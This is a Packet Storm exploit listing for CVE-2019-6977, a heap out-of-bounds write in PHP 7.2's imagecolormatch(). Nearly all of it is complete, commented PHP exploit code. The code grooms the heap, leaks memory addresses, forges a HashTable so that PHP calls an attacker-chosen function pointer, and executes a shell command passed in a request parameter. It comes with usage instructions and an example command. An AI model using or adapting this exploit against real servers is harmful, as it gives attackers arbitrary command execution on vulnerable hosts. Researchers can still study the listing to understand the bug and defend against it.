Lucene search

K
packetstormCharles FOLPACKETSTORM:152459
HistoryApr 09, 2019 - 12:00 a.m.

PHP 7.2 imagecolormatch() Out-Of-Band Heap Write

2019-04-0900:00:00
Charles FOL
packetstormsecurity.com
477

0.847 High

EPSS

Percentile

98.2%

`<?php  
# imagecolormatch() OOB Heap Write exploit  
# https://bugs.php.net/bug.php?id=77270  
# CVE-2019-6977  
# Charles Fol  
# @cfreal_  
#  
# Usage: GET/POST /exploit.php?f=<system_addr>&c=<command>  
# Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi  
#  
# Target: PHP 7.2.x  
# Tested on: PHP 7.2.12  
#  
  
/*  
  
buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);  
  
for (x=0; x<im1->sx; x++) {  
for( y=0; y<im1->sy; y++ ) {  
color = im2->pixels[y][x];  
rgb = im1->tpixels[y][x];  
bp = buf + (color * 5);  
(*(bp++))++;  
*(bp++) += gdTrueColorGetRed(rgb);  
*(bp++) += gdTrueColorGetGreen(rgb);  
*(bp++) += gdTrueColorGetBlue(rgb);  
*(bp++) += gdTrueColorGetAlpha(rgb);  
}  
  
The buffer is written to by means of a color being the index:  
color = im2->pixels[y][x];  
..  
bp = buf + (color * 5);  
  
*/  
  
#  
# The bug allows us to increment 5 longs located after buf in memory.  
# The first long is incremented by one, others by an arbitrary value between 0  
# and 0xff.  
#  
  
error_reporting(E_ALL);  
define('OFFSET_STR_VAL', 0x18);  
define('BYTES_PER_COLOR', 0x28);  
  
  
class Nenuphar extends DOMNode  
{  
# Add a property so that std.properties is created  
function __construct()  
{  
$this->x = '1';  
}  
  
# Define __get  
# => ce->ce_flags & ZEND_ACC_USE_GUARDS == ZEND_ACC_USE_GUARDS  
# => zend_object_properties_size() == 0  
# => sizeof(intern) == 0x50  
function __get($x)  
{  
return $this->$x;  
}  
}  
  
class Nenuphar2 extends DOMNode  
{  
function __construct()  
{  
$this->x = '2';  
}  
  
function __get($x)  
{  
return $this->$x;  
}  
}  
  
function ptr2str($ptr, $m=8)  
{  
$out = "";  
for ($i=0; $i<$m; $i++)  
{  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}  
  
function str2ptr(&$str, $p, $s=8)  
{  
$address = 0;  
for($j=$p+$s-1;$j>=$p;$j--)  
{  
$address <<= 8;  
$address |= ord($str[$j]);  
}  
return $address;  
}  
  
# Spray stuff so that we get concurrent memory blocks  
for($i=0;$i<100;$i++)  
${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);  
for($i=0;$i<100;$i++)  
${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL);  
  
#  
# #1: Address leak  
# We want to obtain the address of a string so that we can make  
# the Nenuphar.std.properties HashTable* point to it and hence control its  
# structure.  
#  
  
# We create two images $img1 and $img2, both of 1 pixel.  
# The RGB bytes of the pixel of $img1 will be added to OOB memory because we set  
# $img2 to have $nb_colors images and we set its only pixel to color number  
# $nb_colors.  
#  
$nb_colors = 12;  
$size_buf = $nb_colors * BYTES_PER_COLOR;  
  
# One pixel image so that the double loop iterates only once  
$img1 = imagecreatetruecolor(1, 1);  
  
# The three RGB values will be added to OOB memory  
# First value (Red) is added to the size of the zend_string structure which  
# lays under buf in memory.  
$color = imagecolorallocate($img1, 0xFF, 0, 0);  
imagefill($img1, 0, 0, $color);  
  
$img2 = imagecreate(1, 1);  
  
# Allocate $nb_colors colors: |buf| = $nb_colors * BYTES_PER_COLOR = 0x1e0  
# which puts buf in 0x200 memory blocks  
for($i=0;$i<$nb_colors;$i++)  
imagecolorallocate($img2, 0, 0, $i);  
  
imagesetpixel($img2, 0, 0, $nb_colors + 1);  
  
# Create a memory layout as such:  
# [z: zend_string: 0x200]  
# [x: zend_string: 0x200]  
# [y: zend_string: 0x200]  
$z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);  
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL);  
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);  
  
# Then, we unset z and call imagecolormatch(); buf will be at z's memory  
# location during the execution  
# [buf: long[] : 0x200]  
# [x: zend_string: 0x200]  
# [y: zend_string: 0x200]  
#  
# We can write buf + 0x208 + (0x08 or 0x10 or 0x18)  
# buf + 0x208 + 0x08 is X's zend_string.len  
unset($z);  
imagecolormatch($img1, $img2);  
  
# Now, $x's size has been increased by 0xFF, so we can read further in memory.  
#  
# Since buf was the last freed block, by unsetting y, we make its first 8 bytes  
# point to the old memory location of buf  
# [free: 0x200] <-+  
# [x: zend_string: 0x200] |  
# [free: 0x200] --+  
unset($y);  
# We can read those bytes because x's size has been increased  
$z_address = str2ptr($x, 488) + OFFSET_STR_VAL;  
  
# Reset both these variables so that their slot cannot be "stolen" by other  
# allocations  
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);  
  
# Now that we have z's address, we can make something point to it.  
# We create a fake HashTable structure in Z; when the script exits, each element  
# of this HashTable will be destroyed by calling ht->pDestructor(element)  
# The only element here is a string: "id"  
$z =   
# refcount  
ptr2str(1) .  
# u-nTableMask meth  
ptr2str(0) .  
# Bucket arData  
ptr2str($z_address + 0x38) .  
# uint32_t nNumUsed;  
ptr2str(1, 4) .  
# uint32_t nNumOfElements;  
ptr2str(1, 4) .  
# uint32_t nTableSize  
ptr2str(0, 4) .  
# uint32_t nInternalPointer  
ptr2str(0, 4) .  
# zend_long nNextFreeElement  
ptr2str(0x4242424242424242) .  
# dtor_func_t pDestructor  
ptr2str(hexdec($_REQUEST['f'])) .  
str_pad($_REQUEST['c'], 0x100, "\x00") .  
ptr2str(0, strlen($y) - 0x38 - 0x100);  
;  
  
# At this point we control a string $z and we know its address: we'll make an  
# internal PHP HashTable structure point to it.  
  
  
#  
# #2: Read Nenuphar.std.properties  
#  
  
# The tricky part here was to find an interesting PHP structure that is  
# allocated in the same fastbins as buf, so that we can modify one of its  
# internal pointers. Since buf has to be a multiple of 0x28, I used dom_object,  
# whose size is 0x50 = 0x28 * 2. Nenuphar is a subclass of dom_object with just  
# one extra method, __get().  
# php_dom.c:1074: dom_object *intern = ecalloc(1, sizeof(dom_object) + zend_object_properties_size(class_type));  
# Since we defined a __get() method, zend_object_properties_size(class_type) = 0  
# and not -0x10.  
#  
# zend_object.properties points to an HashTable. Controlling an HashTable in PHP  
# means code execution since at the end of the script, every element of an HT is  
# destroyed by calling ht.pDestructor(ht.arData[i]).  
# Hence, we want to change the $nenuphar.std.properties pointer.  
#  
# To proceed, we first read $nenuphar.std.properties, and then increment it  
# by triggering the bug several times, until  
# $nenuphar.std.properties == $z_address  
#  
# Sadly, $nenuphar.std.ce will also get incremented by one every time we trigger  
# the bug. This is due to (*(bp++))++ (in gdImageColorMatch).  
# To circumvent this problem, we create two classes, Nenuphar and Nenuphar2, and  
# instanciate them as $nenuphar and $nenuphar2. After we're done changing the  
# std.properties pointer, we trigger the bug more times, until  
# $nenuphar.std.ce == $nenuphar2.std.ce2  
#  
# This way, $nenuphar will have an arbitrary std.properties pointer, and its  
# std.ce will be valid.  
#  
# Afterwards, we let the script exit, which will destroy our fake hashtable (Z),  
# and therefore call our arbitrary function.  
#  
  
# Here we want fastbins of size 0x50 to match dom_object's size  
$nb_colors = 2;  
$size_buf = $nb_colors * BYTES_PER_COLOR;  
  
$img1 = imagecreatetruecolor(1, 1);  
# The three RGB values will be added to OOB memory  
# Second value (Green) is added to the size of the zend_string structure which  
# lays under buf in memory.  
$color = imagecolorallocate($img1, 0, 0xFF, 0);  
imagefill($img1, 0, 0, $color);  
  
# Allocate 2 colors so that |buf| = 2 * 0x28 = 0x50  
$img2 = imagecreate(1, 1);  
for($i=0;$i<$nb_colors;$i++)  
imagecolorallocate($img2, 0, 0, $i);  
  
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);  
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8);  
$nenuphar = new Nenuphar();  
$nenuphar2 = new Nenuphar2();  
  
imagesetpixel($img2, 0, 0, $nb_colors);  
  
# Unsetting the first string so that buf takes its place  
unset($y);  
  
# Trigger the bug: $x's size is increased by 0xFF  
imagecolormatch($img1, $img2);  
  
$ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);  
$ce2_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + $size_buf + 0x28);  
$props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);  
  
print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n");  
print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\n");  
print('Nenuphar.properties: 0x' . dechex($props_address) . "\n");  
print('z.val: 0x' . dechex($z_address) . "\n");  
print('Difference: 0x' . dechex($z_address-$props_address) . "\n");  
  
if(  
$ce2_address - $ce1_address < ($z_address-$props_address) / 0xff ||  
$z_address - $props_address < 0  
)  
{  
print('That won\'t work');  
exit(0);  
}  
  
  
#  
# #3: Modifying Nenuphar.std.properties and Nenuphar.std.ce  
#  
  
# Each time we increment Nenuphar.properties by an arbitrary value, ce1_address  
# is also incremented by one because of (*(bp++))++;  
# Therefore after we're done incrementing props_address to z_address we need  
# to increment ce1's address one by one until Nenuphar1.ce == Nenuphar2.ce  
  
# The memory structure we have ATM is OK. We can just trigger the bug again  
# until Nenuphar.properties == z_address  
  
$color = imagecolorallocate($img1, 0, 0xFF, 0);  
imagefill($img1, 0, 0, $color);  
imagesetpixel($img2, 0, 0, $nb_colors + 3);  
  
for($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF)  
{  
imagecolormatch($img1, $img2);  
$ce1_address++;  
}  
  
$color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0);  
imagefill($img1, 0, 0, $color);  
$current = imagecolormatch($img1, $img2);  
$ce1_address++;  
  
# Since we don't want to touch other values, only increase the first one, we set  
# the three colors to 0  
$color = imagecolorallocate($img1, 0, 0, 0);  
imagefill($img1, 0, 0, $color);  
  
# Trigger the bug once to increment ce1 by one.  
while($ce1_address++ < $ce2_address)  
{  
imagecolormatch($img1, $img2);  
}  
  
# Read the string again to see if we were successful  
  
$new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);  
$new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);  
  
if($new_ce1_address == $ce2_address && $new_props_address == $z_address)  
{  
print("\nExploit SUCCESSFUL !\n");  
}  
else  
{  
print('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . "\n");  
print('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . "\n");  
print("\nExploit FAILED !\n");  
}  
`